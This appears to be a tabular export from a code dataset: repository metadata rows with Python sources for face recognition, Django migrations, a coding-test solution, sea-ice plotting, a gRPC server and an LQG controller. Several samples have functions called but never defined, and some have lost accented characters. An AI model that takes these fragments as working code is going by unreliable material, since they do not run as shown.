hexsha stringlengths 40 40 | size int64 5 2.06M | ext stringclasses 11
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 251 | max_stars_repo_name stringlengths 4 130 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 251 | max_issues_repo_name stringlengths 4 130 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 116k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 251 | max_forks_repo_name stringlengths 4 130 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 1 1.05M | avg_line_length float64 1 1.02M | max_line_length int64 3 1.04M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1747f46f7c077a80d762bb8eb2875be94a719c4c | 8,540 | py | Python | src/bin/ocvf_recognizer.py | warp1337/facerecognition_pipeline | 49563d61c0dc08684ccd09d671487a50f818eec9 | [
"BSD-3-Clause"
] | 21 | 2015-02-09T10:26:43.000Z | 2021-12-07T05:49:22.000Z | src/bin/ocvf_recognizer.py | warp1337/facerecognition_pipeline | 49563d61c0dc08684ccd09d671487a50f818eec9 | [
"BSD-3-Clause"
] | null | null | null | src/bin/ocvf_recognizer.py | warp1337/facerecognition_pipeline | 49563d61c0dc08684ccd09d671487a50f818eec9 | [
"BSD-3-Clause"
] | 13 | 2015-04-08T15:06:23.000Z | 2019-01-22T02:50:25.000Z | # Copyright (c) 2015.
# Philipp Wagner <bytefish[at]gmx[dot]de> and
# Florian Lier <flier[at]techfak.uni-bielefeld.de> and
# Norman Koester <nkoester[at]techfak.uni-bielefeld.de>
#
#
# Released to public domain under terms of the BSD Simplified license.
#
# Redistribution and use in source and binary forms, with or wit... | 55.096774 | 141 | 0.667916 |
17493020a1ffbe08bd61b6196196c9737b6db957 | 792 | py | Python | wuqian/wuqian/migrations/0009_uploadimage.py | Broadroad/pyWebsite | dd54b3511d5d8740a85824fa4c69b7b92adff62f | [
"Apache-2.0"
] | null | null | null | wuqian/wuqian/migrations/0009_uploadimage.py | Broadroad/pyWebsite | dd54b3511d5d8740a85824fa4c69b7b92adff62f | [
"Apache-2.0"
] | null | null | null | wuqian/wuqian/migrations/0009_uploadimage.py | Broadroad/pyWebsite | dd54b3511d5d8740a85824fa4c69b7b92adff62f | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
| 30.461538 | 151 | 0.578283 |
174c06c0478eb5f814e1304bb7f7fe8901fa2838 | 1,049 | py | Python | Programmers/C30L49190/C30L49190.py | iamGreedy/CodingTest | 30fc5d73102de2d5c9d8a4f8d7047b8197dc99b7 | [
"MIT"
] | null | null | null | Programmers/C30L49190/C30L49190.py | iamGreedy/CodingTest | 30fc5d73102de2d5c9d8a4f8d7047b8197dc99b7 | [
"MIT"
] | null | null | null | Programmers/C30L49190/C30L49190.py | iamGreedy/CodingTest | 30fc5d73102de2d5c9d8a4f8d7047b8197dc99b7 | [
"MIT"
] | null | null | null | # %%
import numpy as np
import itertools as it
# print(solution(
# [[0, 0, 0],
# [1, 0, 0],
# [0, 1, 1]],
# [[1, 1, 1],
# [1, 1, 0],
# [1, 0, 1]]
# ))
print(solution(
[[0, 0],
[0, 1]],
[[1, 1, 1, 1],
[1, 1, 0, 1],
[1, 0, 1, 1],
[1, 1, 1, 1]]
))
# %%
| 20.173077 | 96 | 0.432793 |
174d2be7f6075d73c6bea6db35d81b5fc746e4be | 640 | py | Python | pythonteste/desafio106.py | dangiotto/Python | 29a9d18d7595a5c21e65dafc39f7fd4c55d8971c | [
"MIT"
] | 1 | 2020-10-17T03:23:59.000Z | 2020-10-17T03:23:59.000Z | pythonteste/desafio106.py | dangiotto/Python | 29a9d18d7595a5c21e65dafc39f7fd4c55d8971c | [
"MIT"
] | null | null | null | pythonteste/desafio106.py | dangiotto/Python | 29a9d18d7595a5c21e65dafc39f7fd4c55d8971c | [
"MIT"
] | null | null | null |
#pricipal
c = ('\033[m', #sem cores
'\033[0;30;41m', #vermelho
'\033[32;40m', #verde
'\033[30;43m', #branco fundo amarelo
)
comando = ''
while True:
titulo('SISTEMA DE AJUDA PyHELP', 1)
comando = str(input('Funo ou biblioteca > '))
if comando.upper() == "FIM":
... | 19.393939 | 51 | 0.504688 |
174e0c13b9f454a071a3bbac842f25fa6034ff6f | 6,760 | py | Python | tests/test_hyp_search.py | PFLeget/treegp | cf9384d5f70d1998f4ec0032c3e4d23ab4e34bf8 | [
"BSD-3-Clause"
] | 6 | 2021-02-07T19:59:49.000Z | 2022-01-06T15:46:33.000Z | tests/test_hyp_search.py | PFLeget/treegp | cf9384d5f70d1998f4ec0032c3e4d23ab4e34bf8 | [
"BSD-3-Clause"
] | 9 | 2020-07-03T21:21:42.000Z | 2021-08-19T00:20:30.000Z | tests/test_hyp_search.py | PFLeget/treegp | cf9384d5f70d1998f4ec0032c3e4d23ab4e34bf8 | [
"BSD-3-Clause"
] | 1 | 2021-02-05T23:07:30.000Z | 2021-02-05T23:07:30.000Z | from __future__ import print_function
import numpy as np
import treegp
from treegp_test_helper import timer
from treegp_test_helper import get_correlation_length_matrix
from treegp_test_helper import make_1d_grf
from treegp_test_helper import make_2d_grf
if __name__ == "__main__":
test_hyperparameter_search_1d()... | 44.473684 | 105 | 0.590089 |
17500719e579f065e6de2eae2bcb41d36a44ff4d | 77 | py | Python | EpisodeType.py | Morasiu/VideoDownloader | 626a1a9f83218066834f0aae6fa37e57aa777e71 | [
"MIT"
] | null | null | null | EpisodeType.py | Morasiu/VideoDownloader | 626a1a9f83218066834f0aae6fa37e57aa777e71 | [
"MIT"
] | null | null | null | EpisodeType.py | Morasiu/VideoDownloader | 626a1a9f83218066834f0aae6fa37e57aa777e71 | [
"MIT"
] | null | null | null | from enum import Enum | 19.25 | 24 | 0.675325 |
1751fdcb901303f932be4790ca2a25df538b1cf3 | 5,577 | py | Python | Scripts/SeaIce/JAXA_seaice_recordmagnitude_year.py | dargueso/IceVarFigs | 6c76cdde6f51cecf73beaaca83c7a5db51864bfd | [
"MIT"
] | 1 | 2019-02-02T06:12:01.000Z | 2019-02-02T06:12:01.000Z | Scripts/SeaIce/JAXA_seaice_recordmagnitude_year.py | jq222/IceVarFigs | d9b1bb3ac09a9dfd097e72b0dba78276b7e251e4 | [
"MIT"
] | null | null | null | Scripts/SeaIce/JAXA_seaice_recordmagnitude_year.py | jq222/IceVarFigs | d9b1bb3ac09a9dfd097e72b0dba78276b7e251e4 | [
"MIT"
] | null | null | null | """
Calculates current year percentage of record daily low SIE 2002-present
using JAXA metadata
Website : https://ads.nipr.ac.jp/vishop/vishop-extent.html
Author : Zachary M. Labe
Date : 18 October 2016
"""
### Import modules
import numpy as np
import matplotlib.pyplot as plt
import matplotlib
import datet... | 35.75 | 96 | 0.62166 |
17520e9ecda50297726a3765b416641cb62ab495 | 289 | py | Python | estraven/__about__.py | enpaul/genly | 21b69e8b2486a8eb91f4e33eee2ff498065d085b | [
"MIT"
] | null | null | null | estraven/__about__.py | enpaul/genly | 21b69e8b2486a8eb91f4e33eee2ff498065d085b | [
"MIT"
] | null | null | null | estraven/__about__.py | enpaul/genly | 21b69e8b2486a8eb91f4e33eee2ff498065d085b | [
"MIT"
] | null | null | null | # pylint: disable=missing-docstring
__title__ = "estraven"
__summary__ = "An opinionated YAML formatter for Ansible playbooks"
__version__ = "0.0.0"
__url__ = "https://github.com/enpaul/estraven/"
__license__ = "MIT"
__authors__ = ["Ethan Paul <24588726+enpaul@users.noreply.github.com>"]
| 36.125 | 71 | 0.761246 |
17521436b4c127a1a5474bfb67e263eef753cbaa | 4,289 | py | Python | win32/utils/type_limits.py | GGelatin/TekkenBot | 33e9a319a085aa17f355dc6f470dfb15e15020cd | [
"MIT"
] | 45 | 2019-06-14T00:29:35.000Z | 2022-01-13T15:52:35.000Z | win32/utils/type_limits.py | GGelatin/TekkenBot | 33e9a319a085aa17f355dc6f470dfb15e15020cd | [
"MIT"
] | 16 | 2019-07-19T09:06:15.000Z | 2021-04-08T11:29:58.000Z | win32/utils/type_limits.py | GGelatin/TekkenBot | 33e9a319a085aa17f355dc6f470dfb15e15020cd | [
"MIT"
] | 10 | 2019-06-14T23:30:26.000Z | 2021-08-23T17:13:03.000Z | #!/usr/bin/env python3
# Copyright (c) 2019, Alchemy Meister
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice,
# ... | 33.507813 | 78 | 0.683609 |
1752229bdfd2239c9233d9ede23f2a4f3caadfcd | 1,478 | py | Python | setup.py | mmabey/vbox-sdk | 1c3482b6b893f38a79b14ec71e69cf8d43d90c26 | [
"Unlicense"
] | 4 | 2017-09-29T13:16:26.000Z | 2021-03-25T15:42:57.000Z | setup.py | mmabey/vbox-sdk | 1c3482b6b893f38a79b14ec71e69cf8d43d90c26 | [
"Unlicense"
] | 3 | 2017-08-18T12:17:13.000Z | 2019-07-14T12:04:41.000Z | setup.py | mmabey/vbox-sdk | 1c3482b6b893f38a79b14ec71e69cf8d43d90c26 | [
"Unlicense"
] | 4 | 2017-07-22T13:44:15.000Z | 2021-12-02T02:38:28.000Z | #!/usr/bin/env python
# *-* coding: utf-8 *-*
from os import path
from setuptools import setup, find_packages
with open('VERSION') as v_file:
version = v_file.read().strip()
setup(
name='vbox_sdk',
packages=find_packages(exclude=['docs', ]),
version=version,
license='Unlicense',
description... | 30.791667 | 116 | 0.639378 |
1754dd9228225fab4a34bd10bc3b98b8999fd263 | 15,074 | py | Python | coopihc/agents/lqrcontrollers/IHCT_LQGController.py | jgori-ouistiti/CoopIHC | 0fe24c618a430517c1394625275faff3ce344f7f | [
"MIT"
] | null | null | null | coopihc/agents/lqrcontrollers/IHCT_LQGController.py | jgori-ouistiti/CoopIHC | 0fe24c618a430517c1394625275faff3ce344f7f | [
"MIT"
] | 52 | 2021-11-23T13:49:50.000Z | 2022-03-15T12:28:18.000Z | coopihc/agents/lqrcontrollers/IHCT_LQGController.py | jgori-ouistiti/CoopIHC | 0fe24c618a430517c1394625275faff3ce344f7f | [
"MIT"
] | 1 | 2022-03-08T11:10:24.000Z | 2022-03-08T11:10:24.000Z | import numpy
import copy
import warnings
from coopihc.agents.BaseAgent import BaseAgent
from coopihc.observation.RuleObservationEngine import RuleObservationEngine
from coopihc.base.State import State
from coopihc.base.elements import discrete_array_element, array_element, cat_element
from coopihc.policy.LinearFeedback... | 33.202643 | 312 | 0.538344 |
1755630db78697359ea4e6bfb38cb2349e669f5c | 4,266 | py | Python | scripts/collect_result.py | mlindauer/EPM_DNN | 11022235382e10ed6e8c960d3320c81b3c34d4a7 | [
"BSD-2-Clause"
] | 1 | 2019-03-24T04:45:17.000Z | 2019-03-24T04:45:17.000Z | scripts/collect_result.py | mlindauer/EPM_DNN | 11022235382e10ed6e8c960d3320c81b3c34d4a7 | [
"BSD-2-Clause"
] | null | null | null | scripts/collect_result.py | mlindauer/EPM_DNN | 11022235382e10ed6e8c960d3320c81b3c34d4a7 | [
"BSD-2-Clause"
] | 1 | 2019-11-24T02:42:47.000Z | 2019-11-24T02:42:47.000Z | import numpy as np
import pandas as pd
from collections import OrderedDict
import tabulate
del(tabulate.LATEX_ESCAPE_RULES[u'$'])
del(tabulate.LATEX_ESCAPE_RULES[u'\\'])
del(tabulate.LATEX_ESCAPE_RULES[u'{'])
del(tabulate.LATEX_ESCAPE_RULES[u'}'])
del(tabulate.LATEX_ESCAPE_RULES[u'^'])
data = {}
scens = ["SPEAR-SWV"... | 43.090909 | 120 | 0.484294 |
17572c21670b463b41462346a8fee753be1b236c | 100 | py | Python | enthought/mayavi/filters/cell_derivatives.py | enthought/etsproxy | 4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347 | [
"BSD-3-Clause"
] | 3 | 2016-12-09T06:05:18.000Z | 2018-03-01T13:00:29.000Z | enthought/mayavi/filters/cell_derivatives.py | enthought/etsproxy | 4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347 | [
"BSD-3-Clause"
] | 1 | 2020-12-02T00:51:32.000Z | 2020-12-02T08:48:55.000Z | enthought/mayavi/filters/cell_derivatives.py | enthought/etsproxy | 4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347 | [
"BSD-3-Clause"
] | null | null | null | # proxy module
from __future__ import absolute_import
from mayavi.filters.cell_derivatives import *
| 25 | 45 | 0.85 |
1758baa120359e1d96cfe7fd673346397b057140 | 343 | py | Python | examples/manager.py | seregagavrilov/queue_mfc_manager | 968ce3766cda786d4d53bccdf03a7dc68d9daa6e | [
"MIT"
] | null | null | null | examples/manager.py | seregagavrilov/queue_mfc_manager | 968ce3766cda786d4d53bccdf03a7dc68d9daa6e | [
"MIT"
] | null | null | null | examples/manager.py | seregagavrilov/queue_mfc_manager | 968ce3766cda786d4d53bccdf03a7dc68d9daa6e | [
"MIT"
] | null | null | null | from redis import Redis
from examples.tasks_example import some_function, get_url
from queue_manager import QManager
redis = Redis()
manager = QManager(redis)
manager.add_to_queue(some_function, 'asd', 'bc', ['s', 'e', 'r', '1'], sourname='Name')
manager.add_to_queue(get_url, 'https://www.jetbrains.com/help/pycharm/c... | 24.5 | 89 | 0.749271 |
17590507bc8fec32ad3a578e89b52d82be98b400 | 1,087 | py | Python | migrations/versions/a7d4e728b549_.py | eubr-bigsea/caipirinha | 4856fedc77aaa1f7b7ccd145c612fdc332f9b25e | [
"Apache-2.0"
] | null | null | null | migrations/versions/a7d4e728b549_.py | eubr-bigsea/caipirinha | 4856fedc77aaa1f7b7ccd145c612fdc332f9b25e | [
"Apache-2.0"
] | 10 | 2017-02-23T17:04:48.000Z | 2021-07-09T18:28:53.000Z | migrations/versions/a7d4e728b549_.py | eubr-bigsea/caipirinha | 4856fedc77aaa1f7b7ccd145c612fdc332f9b25e | [
"Apache-2.0"
] | 1 | 2020-11-13T22:02:22.000Z | 2020-11-13T22:02:22.000Z | """empty message
Revision ID: a7d4e728b549
Revises: d5ce40ba77de
Create Date: 2017-08-09 12:31:42.628620
"""
import sqlalchemy as sa
from alembic import op
# revision identifiers, used by Alembic.
from sqlalchemy.dialects import mysql
from caipirinha.migration_utils import is_sqlite
revision = 'a7d4e728b549'
down_r... | 26.512195 | 69 | 0.661454 |
175bb838cee18336bd8a62ac16a8a963bd31ba34 | 7,122 | py | Python | sampleScan.py | tink3rtanner/opc | b94b40bb176bfedacbaf4a2dafb7cdac619818a2 | [
"MIT"
] | 29 | 2019-09-22T07:02:40.000Z | 2022-03-25T23:06:06.000Z | sampleScan.py | tink3rtanner/opc | b94b40bb176bfedacbaf4a2dafb7cdac619818a2 | [
"MIT"
] | 3 | 2019-10-07T16:11:38.000Z | 2020-05-07T20:44:57.000Z | sampleScan.py | tink3rtanner/opc | b94b40bb176bfedacbaf4a2dafb7cdac619818a2 | [
"MIT"
] | 5 | 2019-10-07T17:03:56.000Z | 2022-03-18T08:51:22.000Z | import os
directory="/home/pi/Desktop/samplepacks/"
sampleList=[["test","test"]]
main()
| 25.345196 | 326 | 0.596462 |
175ec10b66adf0c1956c8e64fb0031072272b760 | 2,591 | py | Python | train_keras.py | vin-liao/char-rnn | 4689cff6b76a5741a4a3c1196fec1d0d6179e654 | [
"MIT"
] | null | null | null | train_keras.py | vin-liao/char-rnn | 4689cff6b76a5741a4a3c1196fec1d0d6179e654 | [
"MIT"
] | null | null | null | train_keras.py | vin-liao/char-rnn | 4689cff6b76a5741a4a3c1196fec1d0d6179e654 | [
"MIT"
] | null | null | null | import numpy as np
from utils import Data
import keras.optimizers
from keras.callbacks import LambdaCallback, ModelCheckpoint
from keras.models import Sequential
from keras.layers import Dense, Embedding, GlobalMaxPooling1D, CuDNNLSTM, Dropout, BatchNormalization, Activation, LSTM
import getopt
import sys
from sklearn.... | 30.845238 | 119 | 0.735237 |
175f4f66be772e35d95ab0e9d4eaec76b66c732c | 4,524 | py | Python | examples/highfreq/highfreq_ops.py | wan9c9/qlib | cc95099d7696ca850205b8ca220a99fba35a637a | [
"MIT"
] | 8,637 | 2020-09-21T05:07:34.000Z | 2022-03-31T10:02:54.000Z | examples/highfreq/highfreq_ops.py | Sainpse/qlib | 84103c7d43eaa0ff74118a4d05884f659f0548eb | [
"MIT"
] | 711 | 2020-09-21T03:32:44.000Z | 2022-03-31T22:18:42.000Z | examples/highfreq/highfreq_ops.py | Sainpse/qlib | 84103c7d43eaa0ff74118a4d05884f659f0548eb | [
"MIT"
] | 1,569 | 2020-09-21T10:21:08.000Z | 2022-03-31T01:14:12.000Z | import numpy as np
import pandas as pd
import importlib
from qlib.data.ops import ElemOperator, PairOperator
from qlib.config import C
from qlib.data.cache import H
from qlib.data.data import Cal
from qlib.contrib.ops.high_freq import get_calendar_day
| 26.928571 | 91 | 0.644341 |
175f538ad1242a1514cf63b464aa7909b5043c13 | 3,787 | py | Python | termitup_internal/modules_api/activateRelval.py | pmchozas/llod4lion | 52bb00634f770cb5fd46cfb2cc4d009c317bcef9 | [
"Apache-2.0"
] | 7 | 2020-04-08T15:37:51.000Z | 2021-07-03T15:04:42.000Z | modules_api/activateRelval.py | Pret-a-LLOD/termitup | aab77b7edf952ca05e38ab3dbda5acb30dac0078 | [
"Apache-2.0"
] | 10 | 2020-06-19T13:55:24.000Z | 2021-07-04T16:10:56.000Z | termitup_internal/modules_api/activateRelval.py | pmchozas/llod4lion | 52bb00634f770cb5fd46cfb2cc4d009c317bcef9 | [
"Apache-2.0"
] | 1 | 2020-05-16T11:11:18.000Z | 2020-05-16T11:11:18.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Jan 11 18:18:18 2021
@author: pmchozas
"""
from modules_api.Term import Term
from modules_api import relvalCode
import re
import unidecode
# TESTING
# reslist=['eurovoc']
# myterm=Term()
# myterm.schema="test"
# myterm.term="contrato"
# myterm.l... | 35.392523 | 760 | 0.629786 |
175f97b1718b29868b512c5f11e07f22014847e6 | 4,939 | py | Python | _bin/grpc_server.py | dhermes/tcp-h2-describe | 73c135b37550858c322b7b67c84333381afd3c69 | [
"Apache-2.0"
] | null | null | null | _bin/grpc_server.py | dhermes/tcp-h2-describe | 73c135b37550858c322b7b67c84333381afd3c69 | [
"Apache-2.0"
] | 1 | 2019-08-21T06:13:22.000Z | 2019-08-21T06:13:22.000Z | _bin/grpc_server.py | dhermes/tcp-h2-describe | 73c135b37550858c322b7b67c84333381afd3c69 | [
"Apache-2.0"
] | null | null | null | # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under t... | 30.300613 | 79 | 0.648107 |
175faeee3cfd60447e8cdaf79007116370a89f41 | 238 | py | Python | scripts/04_3d_concepts/modeling/polygon_reduction/polygonreduction_create_r19.py | PluginCafe/cinema4d_py_sdk_extended | aea195b47c15e1c94443292e489afe6779b68550 | [
"Apache-2.0"
] | 85 | 2019-09-06T22:53:15.000Z | 2022-03-27T01:33:09.000Z | scripts/04_3d_concepts/modeling/polygon_reduction/polygonreduction_create_r19.py | PluginCafe/cinema4d_py_sdk_extended | aea195b47c15e1c94443292e489afe6779b68550 | [
"Apache-2.0"
] | 11 | 2019-09-03T22:59:19.000Z | 2022-02-27T03:42:52.000Z | scripts/04_3d_concepts/modeling/polygon_reduction/polygonreduction_create_r19.py | PluginCafe/cinema4d_py_sdk_extended | aea195b47c15e1c94443292e489afe6779b68550 | [
"Apache-2.0"
] | 31 | 2019-09-09T09:35:35.000Z | 2022-03-28T09:08:47.000Z | """
Copyright: MAXON Computer GmbH
Author: Yannick Puech
Description:
- Creates a new PolygonReduction object.
Class/method highlighted:
- c4d.utils.PolygonReduction
"""
import c4d
polyReduction = c4d.utils.PolygonReduction()
| 15.866667 | 44 | 0.756303 |
1760e42e7eae07fcfbeaa0580fe1f0fab3d7aaa0 | 1,576 | py | Python | Algorithms_medium/0034. Find First and Last Position of Element in Sorted Array.py | VinceW0/Leetcode_Python_solutions | 09e9720afce21632372431606ebec4129eb79734 | [
"Xnet",
"X11"
] | 4 | 2020-08-11T20:45:15.000Z | 2021-03-12T00:33:34.000Z | Algorithms_medium/0034. Find First and Last Position of Element in Sorted Array.py | VinceW0/Leetcode_Python_solutions | 09e9720afce21632372431606ebec4129eb79734 | [
"Xnet",
"X11"
] | null | null | null | Algorithms_medium/0034. Find First and Last Position of Element in Sorted Array.py | VinceW0/Leetcode_Python_solutions | 09e9720afce21632372431606ebec4129eb79734 | [
"Xnet",
"X11"
] | null | null | null | """
0034. Find First and Last Position of Element in Sorted Array
Medium
Given an array of integers nums sorted in ascending order, find the starting and ending position of a given target value.
If target is not found in the array, return [-1, -1].
Follow up: Could you write an algorithm with O(log n) runtime comple... | 24.625 | 121 | 0.498096 |
1762864aca429183ec0301012863345eced0e166 | 8,598 | py | Python | PtzCamera/web_server.py | nightdeveloper/ServoTest | 0d03092ae27364e923ed8f792228ae7748a36d6e | [
"MIT"
] | null | null | null | PtzCamera/web_server.py | nightdeveloper/ServoTest | 0d03092ae27364e923ed8f792228ae7748a36d6e | [
"MIT"
] | null | null | null | PtzCamera/web_server.py | nightdeveloper/ServoTest | 0d03092ae27364e923ed8f792228ae7748a36d6e | [
"MIT"
] | null | null | null | #!/usr/bin/python3
import os
import sys
file_dir = os.path.dirname(__file__)
sys.path.append(file_dir)
import io
import logging
import time
import traceback
from flask import Flask, render_template, send_file, Response
from threading import Condition, Lock
from enums import Position
from mymemcache import MemCache... | 36.12605 | 103 | 0.522912 |
176524bb30f762d4689be6d8c09da977e5a44c86 | 398 | py | Python | consumers/venv/lib/python3.7/site-packages/faust/stores/__init__.py | spencerpomme/Public-Transit-Status-with-Apache-Kafka | 2c85d7daadf4614fe7ce2eabcd13ff87236b1c7e | [
"MIT"
] | null | null | null | consumers/venv/lib/python3.7/site-packages/faust/stores/__init__.py | spencerpomme/Public-Transit-Status-with-Apache-Kafka | 2c85d7daadf4614fe7ce2eabcd13ff87236b1c7e | [
"MIT"
] | null | null | null | consumers/venv/lib/python3.7/site-packages/faust/stores/__init__.py | spencerpomme/Public-Transit-Status-with-Apache-Kafka | 2c85d7daadf4614fe7ce2eabcd13ff87236b1c7e | [
"MIT"
] | null | null | null | """Storage registry."""
from typing import Type
from mode.utils.imports import FactoryMapping
from faust.types import StoreT
__all__ = ['by_name', 'by_url']
STORES: FactoryMapping[Type[StoreT]] = FactoryMapping(
memory='faust.stores.memory:Store',
rocksdb='faust.stores.rocksdb:Store',
)
STORES.include_setupto... | 26.533333 | 54 | 0.768844 |
1765e4f689926df9fbf25a123355a58a88819d9a | 716 | py | Python | test/unit/00.nop-commit.py | rescrv/Consus | bb05df2f314b1dc7510a3fb73604491227ebc516 | [
"BSD-3-Clause"
] | 239 | 2016-12-13T16:27:52.000Z | 2021-09-19T20:46:38.000Z | test/unit/00.nop-commit.py | ngaut/Consus | bb05df2f314b1dc7510a3fb73604491227ebc516 | [
"BSD-3-Clause"
] | 6 | 2016-12-19T02:11:28.000Z | 2017-09-07T02:44:47.000Z | test/unit/00.nop-commit.py | ngaut/Consus | bb05df2f314b1dc7510a3fb73604491227ebc516 | [
"BSD-3-Clause"
] | 16 | 2016-12-18T09:48:28.000Z | 2019-01-27T08:51:34.000Z | import consus
c1 = consus.Client()
t1 = c1.begin_transaction()
t1.commit()
c2 = consus.Client(b'127.0.0.1')
t2 = c1.begin_transaction()
t2.commit()
c3 = consus.Client('127.0.0.1')
t3 = c1.begin_transaction()
t3.commit()
c4 = consus.Client(b'127.0.0.1', 1982)
t4 = c1.begin_transaction()
t4.commit()
c5 = consus.Clie... | 18.842105 | 47 | 0.674581 |
17665acaef0965ab5ef31388109575fa38dc8d4f | 780 | py | Python | manticore/core/smtlib/__init__.py | ivanpustogarov/manticore | f17410b8427ddbd5d751d8824bdf10ce33c9f3ce | [
"Apache-2.0"
] | null | null | null | manticore/core/smtlib/__init__.py | ivanpustogarov/manticore | f17410b8427ddbd5d751d8824bdf10ce33c9f3ce | [
"Apache-2.0"
] | null | null | null | manticore/core/smtlib/__init__.py | ivanpustogarov/manticore | f17410b8427ddbd5d751d8824bdf10ce33c9f3ce | [
"Apache-2.0"
] | 1 | 2018-08-12T17:29:11.000Z | 2018-08-12T17:29:11.000Z | from __future__ import absolute_import # noqa
from .expression import Expression, Bool, BitVec, Array, BitVecConstant # noqa
from .constraints import ConstraintSet # noqa
from .solver import * # noqa
from . import operators as Operators # noqa
import logging
logger = logging.getLogger(__name__)
'''
class Operat... | 31.2 | 131 | 0.75 |
1767bcea13ed89c078220f97038968b13cb7905d | 16,429 | py | Python | no_cloud/cli.py | saalaa/no-cloud | 69f53ae8194850b7f307315fee90089b34728204 | [
"BSD-3-Clause"
] | null | null | null | no_cloud/cli.py | saalaa/no-cloud | 69f53ae8194850b7f307315fee90089b34728204 | [
"BSD-3-Clause"
] | 2 | 2021-03-25T21:45:20.000Z | 2021-03-31T18:43:22.000Z | no_cloud/cli.py | saalaa/no-cloud | 69f53ae8194850b7f307315fee90089b34728204 | [
"BSD-3-Clause"
] | null | null | null | # Copyright (C) 2016 Benoit Myard <myardbenoit@gmail.com>
# Released under the terms of the BSD license.
import os
import re
import sys
import click
import string
import datetime
import subprocess
from . import __version__
from .remote import get_remote
from .crypto import fernet_encrypt, fernet_decrypt, sha512_hash... | 30.255985 | 79 | 0.624932 |
1767f9bbf6dd33caf1487cdf062d5c29e9e02385 | 1,267 | py | Python | PredictUtils/utils.py | Iglohut/autoscore_3d | 04d039900c0ae1d535d1d624257ce1760edaf50e | [
"MIT"
] | null | null | null | PredictUtils/utils.py | Iglohut/autoscore_3d | 04d039900c0ae1d535d1d624257ce1760edaf50e | [
"MIT"
] | null | null | null | PredictUtils/utils.py | Iglohut/autoscore_3d | 04d039900c0ae1d535d1d624257ce1760edaf50e | [
"MIT"
] | null | null | null | import numpy as np
from skimage.exposure import cumulative_distribution
def cdf(im):
'''
computes the CDF of an image im as 2D numpy ndarray
'''
c, b = cumulative_distribution(im)
# pad the beginning and ending pixels and their CDF values
c = np.insert(c, 0, [0] * b[0])
c = np.append(c, [1]... | 34.243243 | 109 | 0.638516 |
1768373cbbc16775c1a2da7dedad00db76d2c1cf | 440 | py | Python | tests/test_context.py | billyrrr/firestore-odm | 1a63c51a13a6025d7dd05630091619644c41cba0 | [
"MIT"
] | 1 | 2021-05-01T11:58:52.000Z | 2021-05-01T11:58:52.000Z | tests/test_context.py | billyrrr/firestore-odm | 1a63c51a13a6025d7dd05630091619644c41cba0 | [
"MIT"
] | null | null | null | tests/test_context.py | billyrrr/firestore-odm | 1a63c51a13a6025d7dd05630091619644c41cba0 | [
"MIT"
] | null | null | null | from firestore_odm import config
from firestore_odm import context
Config = config.Config
| 25.882353 | 91 | 0.715909 |
17685852f997546379426531582986ad61dd0525 | 385 | py | Python | AXF/App/migrations/0007_remove_user_phone_number.py | sajinchang/django_axf | cc6878cfa48cc31fe753aa4213a163bd98942795 | [
"Apache-2.0"
] | null | null | null | AXF/App/migrations/0007_remove_user_phone_number.py | sajinchang/django_axf | cc6878cfa48cc31fe753aa4213a163bd98942795 | [
"Apache-2.0"
] | null | null | null | AXF/App/migrations/0007_remove_user_phone_number.py | sajinchang/django_axf | cc6878cfa48cc31fe753aa4213a163bd98942795 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.7 on 2018-12-17 19:55
from __future__ import unicode_literals
from django.db import migrations
| 19.25 | 48 | 0.605195 |
176a14d4d9c836b724f04cf845e7dfc03e125205 | 197 | py | Python | sheets/serializers.py | LD31D/django_sheets | fa626012fd00d69fbbac4fe4542150902d2be8cb | [
"MIT"
] | null | null | null | sheets/serializers.py | LD31D/django_sheets | fa626012fd00d69fbbac4fe4542150902d2be8cb | [
"MIT"
] | null | null | null | sheets/serializers.py | LD31D/django_sheets | fa626012fd00d69fbbac4fe4542150902d2be8cb | [
"MIT"
] | null | null | null | from rest_framework import serializers
from .models import Cell
| 19.7 | 50 | 0.71066 |
176c7457ffa323b70f1b024513f24d65e5474f31 | 434 | py | Python | Basic Image Processing/Raw_Flips.py | vigneshdurairaj/OpenCv | 75184f32c568e02c9658c7c4d7f5b3d5102327c6 | [
"Apache-2.0"
] | null | null | null | Basic Image Processing/Raw_Flips.py | vigneshdurairaj/OpenCv | 75184f32c568e02c9658c7c4d7f5b3d5102327c6 | [
"Apache-2.0"
] | null | null | null | Basic Image Processing/Raw_Flips.py | vigneshdurairaj/OpenCv | 75184f32c568e02c9658c7c4d7f5b3d5102327c6 | [
"Apache-2.0"
] | null | null | null | # Image Processing Intro
import numpy as np
import argparse
import imutils
import cv2
ap = argparse.ArgumentParser()
ap.add_argument("-i","--image", required = True, help= "Path to the imagee")
args = vars(ap.parse_args())
image = cv2.imread(args["image"])
cv2.imshow("Original",image)
cv2.waitKey(0)
flipped = cv2.f... | 22.842105 | 76 | 0.732719 |
